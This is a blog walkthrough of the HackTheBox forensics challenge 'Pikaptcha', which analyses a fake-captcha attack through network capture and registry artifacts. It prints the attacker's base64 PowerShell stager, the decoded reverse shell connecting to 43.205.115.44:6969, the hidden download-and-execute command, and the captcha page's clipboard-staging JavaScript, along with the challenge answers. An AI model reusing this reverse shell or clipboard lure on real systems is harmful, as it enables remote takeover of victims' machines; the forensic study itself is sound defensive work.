Happy Grunwald contacted the sysadmin, Alonzo, because of issues he had downloading the latest version of Microsoft Office. He had received an email saying he needed to update, and clicked the link to do it. He reported that he visited the website and solved a captcha, but no office download page came back. Alonzo, who himself was bombarded with phishing attacks last year and was now aware of attacker tactics, immediately notified the security team to isolate the machine as he suspected an attack. You are provided with network traffic and endpoint artifacts to answer questions about what happened.
Challenge Overview #
CTF Name: Pikaptcha
Category: Sherlock - DFIR
Active/Retired (at pwn): Retired
Difficulty (subjective): [4] Not too easy
Author: CyberJunkie
Date Released: 22 Oct 2024
Date Completed: 29 Jul 2025
CTF Link: https://app.hackthebox.com/sherlocks/Pikaptcha
Tasks #
Answer 6 questions related to the attack.
Files #
We are provided with a Pikaptcha.zip
:
unzip Pikaptcha.zip
Archive: Pikaptcha.zip
creating: Pikaptcha/
[Pikaptcha.zip] Pikaptcha/2024-09-23T052209_alert_mssp_action.zip password:
inflating: Pikaptcha/2024-09-23T052209_alert_mssp_action.zip
inflating: Pikaptcha/pikaptcha.pcapng
file pikaptcha.pcapng
pikaptcha.pcapng: pcapng capture file - version 1.0
The PcapNG file format (aka “PCAP Next Generation”, “pcap-ng” or “.pcapng”) is a capture file format designed to overcome limitations in the original libpcap file format, such as the inability to store packets with different link layer types. https://pcapng.com/
After unzipping 2024-09-23T052209_alert_mssp_action.zip
a C
directory is created:
tree C
C
├── Users
│ ├── Administrator
│ │ ├── AppData
│ │ │ └── Local
│ │ │ └── Microsoft
│ │ │ └── Windows
│ │ │ ├── UsrClass.dat
│ │ │ ├── UsrClass.dat.LOG1
│ │ │ └── UsrClass.dat.LOG2
│ │ ├── NTUSER.DAT
│ │ ├── ntuser.dat.LOG1
│ │ └── ntuser.dat.LOG2
│ ├── CyberJunkie
│ │ ├── AppData
│ │ │ └── Local
│ │ │ └── Microsoft
│ │ │ └── Windows
│ │ │ ├── UsrClass.dat
---snip---
35 directories, 228 files
As well as: 2024-09-23T05_22_09_5720380_CopyLog.csv
and 2024-09-23T05_22_09_5720380_SkipLog.csv.csv
files
Firstly, to get a general idea of what happened when Grunwald solved the captcha, analyze the pikaptcha.pcapng
file with Wireshark:
sudo wireshark pikaptcha.png
Since we already know that at some point a malicious Powershell script was downloaded, we can try and look for it. A good place to start would likely be:
File -> Export Objects -> HTTP
.ps1
to find any Powershell scripts. Sure enough we get a hit for a office2024install.ps1
:
148887 43.205.115.44 1,355 bytes office2024install.ps1
Save the file locally for further analysis:
cat office2024install.ps1
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANAAzAC4AMgAwADUALgAxADEANQAuADQANAAiACwANgA5ADYAOQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
powershell -e
is a commonly used flag in obfuscated or malicious PowerShell execution to execute a base64-encoded command:
echo "JABjAG---snip---AKQA=" | base64 -d
$client = New-Object System.Net.Sockets.TCPClient("43.205.115.44",6969);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
This is a basic PowerShell-based reverse shell, typically used in post-exploitation or initial access phases. However the code is a bit hard to read. After formatting the code:
$client = New-Object System.Net.Sockets.TCPClient("43.205.115.44", 6969)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | % { 0 }
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
Now it is clear it connects to a remote IP (43.205.115.44
) on port 6969
via TCP, waits for incoming commands, executes them using iex
(Invoke-Expression), and sends the command output back to the attacker. It also keeps the session alive in a loop.
[1] What is the full command that was run to download and execute the stager. #
First, we will need a tool to read hive registries with. A simple quick method is regipy
. To install it:
python3 -m venv myvenv
source myvenv/bin/activate
(myvenv) pip install regipy
Then go to C/Users/happy.grunwald/
and list all files:
.
├── AppData
│ └── Local
│ └── Microsoft
│ └── Windows
│ ├── UsrClass.dat
│ ├── UsrClass.dat.LOG1
│ └── UsrClass.dat.LOG2
├── NTUSER.DAT
├── ntuser.dat.LOG1
├── ntuser.dat.LOG2
After installing regipy, the following tools can be used:
regipy-diff regipy-parse-header regipy-plugins-run
regipy-dump regipy-plugins-list regipy-process-transaction-logs
If attempting to use regipy-parse-header
on NTUSER.DAT
an error will appear: Hive is not clean! You should apply transaction logs
We have to clean the hive:
regipy-process-transaction-logs NTUSER.DAT -p ntuser.dat.LOG1 -s ntuser.dat.LOG2
INFO:regipy.recovery:Log Size: 361472
INFO:regipy.recovery:Parsing hvle block at 0x200
INFO:regipy.recovery:Parsing HvLE block at 0x200
INFO:regipy.recovery:Currently at start of dirty pages: 760
---snip
INFO:regipy.recovery:Recovered 45 pages from primary transaction log Recovered 92 dirty pages. Restored hive is at Pikaptcha/C/Users/happy.grunwald/NTUSER.DAT.restored
Now we can analyze the clean NTUSER.DAT.restored:
regipy-dump NTUSER.DAT.restored > NTUSER.JSON
ERROR:regipy.registry:Could not parse VK at 3280949, registry hive is probably corrupted.
We get a registry hive is probably corrupted
, but a json file is created, we can still analyze it, because usable data is present.
grep powershell NTUSER.JSON
"subkey_name": "%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe",
"path": "\\Console\\%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe",
"subkey_name": "%SystemRoot%_SysWOW64_WindowsPowerShell_v1.0_powershell.exe",
"path": "\\Console\\%SystemRoot%_SysWOW64_WindowsPowerShell_v1.0_powershell.exe",
"value": "powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"IEX(New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.ps1')\"\\1",
These keys are under HKCU\Console
, which stores execution context for command-line applications per user. The full command that was run to download and execute the stager:
powershell -NOP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.ps1')"
From this command we can see what was actually downloaded (office2024install.ps1
), even though we already discovered it through Wireshark first.
[2] At what time in UTC did the malicious payload execute? #
The registry hive has information about when something was executed:
grep "powershell -NoP" C/Users/happy.grunwald/NTUSER.JSON -B 20 -A 20
{
"subkey_name": "RunMRU",
"path": "\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU",
"timestamp": "2024-09-23T05:07:45.961848+00:00",
"values_count": 3,
"values": [
{
---snip---
In other software like RegRipper
the timestamp field will show as “Opened At”.
2024-09-23 05:07:45
[3] The payload which was executed initially downloaded a PowerShell script and executed it in memory. What is sha256 hash of the script? #
sha256sum office24install.ps1
579284442094e1a44bea9cfb7d8d794c8977714f827c97bcb2822a97742914de office2024install.ps1
[4] To which port did the reverse shell connect? #
This is clear from the powershell code:
$client = New-Object System.Net.Sockets.TCPClient("43.205.115.44", 6969)
---snip---
6969
[5] For how many seconds was the reverse shell connection established between C2 and the victim’s workstation? #
In Statistics - Conversations
:
403
seconds the connection was alive on port 6969 with the C2.
[6] Attacker hosted a malicious Captcha to lure in users. What is the name of the function which contains the malicious payload to be pasted in victim’s clipboard? #
For this we will inspect the accessed html page which required the users to pass a captcha. File - Export Objects - HTTP:
text/html
in Content Type
. Save the webpage root file to analyze it.
cat root_captcha.html
---snip---
function stageClipboard(commandToRun, verification_id){
const revershell=`powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.ps1')"`
const suffix = " # "
const ploy = "✅ ''I am not a robot - reCAPTCHA Verification ID: "
const end = "''"
const textToCopy = revershell
setClipboardCopyData(textToCopy);
}
---snip---
the function is stageClipboard
Get Involved #
I think knowledge should be shared and discussions encouraged. So, don’t hesitate to ask questions, or suggest topics you’d like me to cover in future posts.
Stay Connected #
You can contact me at ion.miron@tutanota.com